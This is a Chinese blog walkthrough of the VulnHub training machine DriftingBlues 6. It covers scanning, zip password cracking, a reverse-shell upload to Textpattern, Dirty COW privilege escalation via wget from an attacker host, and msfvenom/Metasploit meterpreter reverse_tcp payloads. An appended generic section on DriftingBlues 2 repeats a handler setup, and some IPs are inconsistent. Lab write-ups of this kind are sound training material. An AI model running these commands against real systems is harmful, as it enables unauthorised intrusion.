vulnhub靶机:driftingblues-6

文章描述了一次针对10.9.23.54的黑客渗透测试过程,包括使用ARP扫描、端口扫描、检测内核漏洞、目录探测、暴力破解、文件上传、提权利用脏牛漏洞以及最终生成并上传木马的过程。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

一:主机发现

arp-scan -I eth0 10.9.23.0/24

二:端口扫描

nmap -T4 -sV -p- -A 10.9.23.54

内核3.2可能存在脏牛漏洞

三:目录探测

dirb http://10.9.23.54

http://10.9.23.54/robots.txt

10.9.23.54/textpattern/textpattern

add .zip extension to your dir-brute

http://10.9.23.54/textpattern/

dirb http://10.4.7.54 -X .txt,.php,.html,.bak,.md,.zip

gobuster dir -u http://10.9.23.54/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x .php,.txt,.html,.zip

根据robots.txt下的提示,搜索.zip后缀的目录
/spammer.zip发现这个压缩包,下载解压发现需要密码

wget http://10.9.23.54/spammer.zip

发现有密码,暴力破解一下:

fcrackzip -D -p /usr/share/wordlists/rockyou.txt -u spammer.zip

得到密码

myspace4

得到用户名和密码

mayer:lionheart

四:渗透测试

http://10.9.23.54/textpattern/

发现有文件上传的地方并且知道了文件上传后的位置,尝试上传个 反弹 shell:

http://10.9.23.54/textpattern/files

反弹成功

五:提权

1.用python回弹交互式shell,find命令也没有可以利用的信息

python -c "import pty;pty.spawn('/bin/bash')"

find / -perm -u=s -type f 2>/dev/null

因为之前发现存在脏牛漏洞

2.uname -a查看靶机内核版本

3.searchsploit kernel 3.2 发现脏牛漏洞

4.python3 -m http.server 80

5:进入tmp目录下,将dirty.c下载下来

wget http://10.9.23.112/dirty.c

6.按照脚本给出的步骤操作

chmod 777 dirty.c

gcc -pthread dirty.c -o dirty -lcrypt

执行

./dirty

后面接密码root

su firefart

靶机结束

2:msfvenom生成木马,文件上传
命令: msfvenom -p php/meterpreter/reverse_tcp LHOST=10.9.23.54 LPORT=4444 -f raw > shell1.php
上传后。

msf模块设置payload:
命令:
set payload php/meterpreter/reverse_tcp
set lhost 10.9.23.112
run

### 关于VulnHub DriftingBlues2靶机详情 #### 靶机概述 DriftingBlues系列是VulnHub平台上提供给安全爱好者练习渗透测试技能的一组虚拟机镜像。这些靶机设计用于帮助用户提升其在网络攻防方面的能力,特别是针对Web应用的安全评估技巧。 对于特定的`DriftingBlues: 2`版本而言,此靶机旨在模拟真实世界中的信息系统环境,并设置了多个层次的任务来挑战玩家的技术水平[^4]。 #### 渗透测试流程 ##### 信息收集阶段 在这个过程中,首要任务是从外部视角了解目标系统的开放服务及其配置情况。通常采用的方法包括但不限于: - **主机发现**:通过网络扫描工具(如Nmap)识别活动主机并确定其IP地址范围。 - **端口和服务枚举**:进一步探测已知存活节点上的可用端口以及运行的服务类型和版本号。 由于`DriftingBlues: 2`的具体内部结构未完全公开,在实际操作前需自行探索更多细节以制定后续行动计划。 ##### 漏洞利用实践 一旦完成了初步的情报搜集工作,则可以根据所获数据选择合适的攻击向量实施入侵行为。例如,如果发现了某个存在已知漏洞的应用程序实例,则可考虑运用Metasploit Framework (MSF) 或其他自动化平台来进行针对性打击。 值得注意的是,在处理此类实验性质较强的项目时,建议遵循官方指南或社区分享的经验贴作为参考依据,以便更高效地完成整个过程[^5]。 ```bash # 使用Nmap进行基本的TCP SYN扫描 nmap -sS <target_ip> # 利用Metasploit加载exploit模块 use exploit/multi/handler set payload windows/x64/meterpreter/reverse_tcp set LHOST <your_local_IP> run ```
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值